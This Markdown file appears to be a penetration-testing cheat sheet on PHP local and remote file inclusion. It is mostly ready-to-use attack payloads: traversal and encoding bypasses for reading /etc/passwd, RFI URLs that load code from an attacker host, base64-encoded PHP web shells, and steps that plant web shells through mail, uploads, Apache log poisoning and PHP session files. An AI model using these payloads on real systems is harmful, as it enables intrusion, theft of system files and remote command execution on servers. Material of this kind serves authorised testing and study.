Web_Hacking/File Inclusion.md
2023-09-19 14:21:56 +03:30

314 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# File Inclusion
* **`Remote File Inclusion (RFI)`**: The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
* **`Local File Inclusion (LFI)`**: The sever loads a local file.
**Vulnerable PHP functions:**
* `require`
* `require_once`
* `include`
* `include_once`
## Basic LFI
In the following examples we include the `/etc/passwd` file, check the **`Directory & Path Traversal`** chapter for more interesting files.
```html
http://example.com/index.php?page=../../../etc/passwd
```
traversal sequences stripped non-recursively
```html
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### Null byte (%00)
Bypass the append more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
```html
http://example.com/index.php?page=../../../etc/passwd%00
```
This is solved since **PHP 5.4**
### Encoding
```html
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### From existent folder
Maybe the back-end is checking the folder path:
```html
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Identifying folders on a server
* identify the "depth" of you current directory by succesfully retrieving `/etc/passwd` (if on Linux):
```html
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
* try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to `/etc/passwd`:
```html
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
```
* if the application is **vulnerable**, there might be two different outcomes to the request:
1. if you get an `error / no output`, the private folder does not exist at this location
2. if you get the content from `/etc/passwd`, you validated that there is indeed a privatefolder in your current directory
you want to check if `/var/www/` contains a private directory, use the following payload:
```html
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):
```bash
# 1
sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
# 2
ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
```
### Path truncation
Bypass the append of more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
```html
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```
```html
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
> Always try to start the path with a fake directory (a/).
>
> **This vulnerability was corrected in PHP 5.3**
### Filter bypass tricks
```html
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In **php** this is disable by default because `allow_url_include` is **Off**. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:
```html
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
If for some reason `allow_url_include` is **On**, but PHP is filtering access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
```html
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
Another example not using the **`php://`** protocol would be:
```html
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
In python in a code like this one:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
If the user passes an absolute path to `file_name`, the previous path is just removed:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
### Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion (LFI)
```html
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
1. **String Filters**:
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Remove tags from the data (everything between `"<"` and `">"` chars)
> Note that this filter has disappear from the modern versions of PHP
2. **Conversion Filters**
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the list of all the encodings supported run in the console: `iconv -l`
3. **Compression Filters**
* `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
* `zlib.inflate`: Decompress the data
4. **Encryption Filters**
* `mcrypt.*` : Deprecated
* `mdecrypt.*` : Deprecated
5. **Other Filters**
Running in php `var_dump(stream_get_filters());` you can find a couple of unexpected filters:
* `consumed`
* `dechunk`: reverses HTTP chunked encoding
* `convert.*`
```bash
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
### Via Email
Send a mail to a internal account (`user@localhost`) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like `/var/mail/<USERNAME>` or `/var/spool/mail/<USERNAME>`
### Via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
```html
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### RCE via Mail
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
```bash
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the mail command line.
```bash
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```bash
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
> Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```bash
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
### LFI to RCE via PHP sessions
Check if the website use PHP Session (`PHPSESSID`)
```html
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into `/var/lib/php5/sess_[PHPSESSID]` or `/var/lib/php/sessions/sess_[PHPSESSID]` files
```html
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system(`'cat /etc/passwd');?`>`
```html
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```html
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```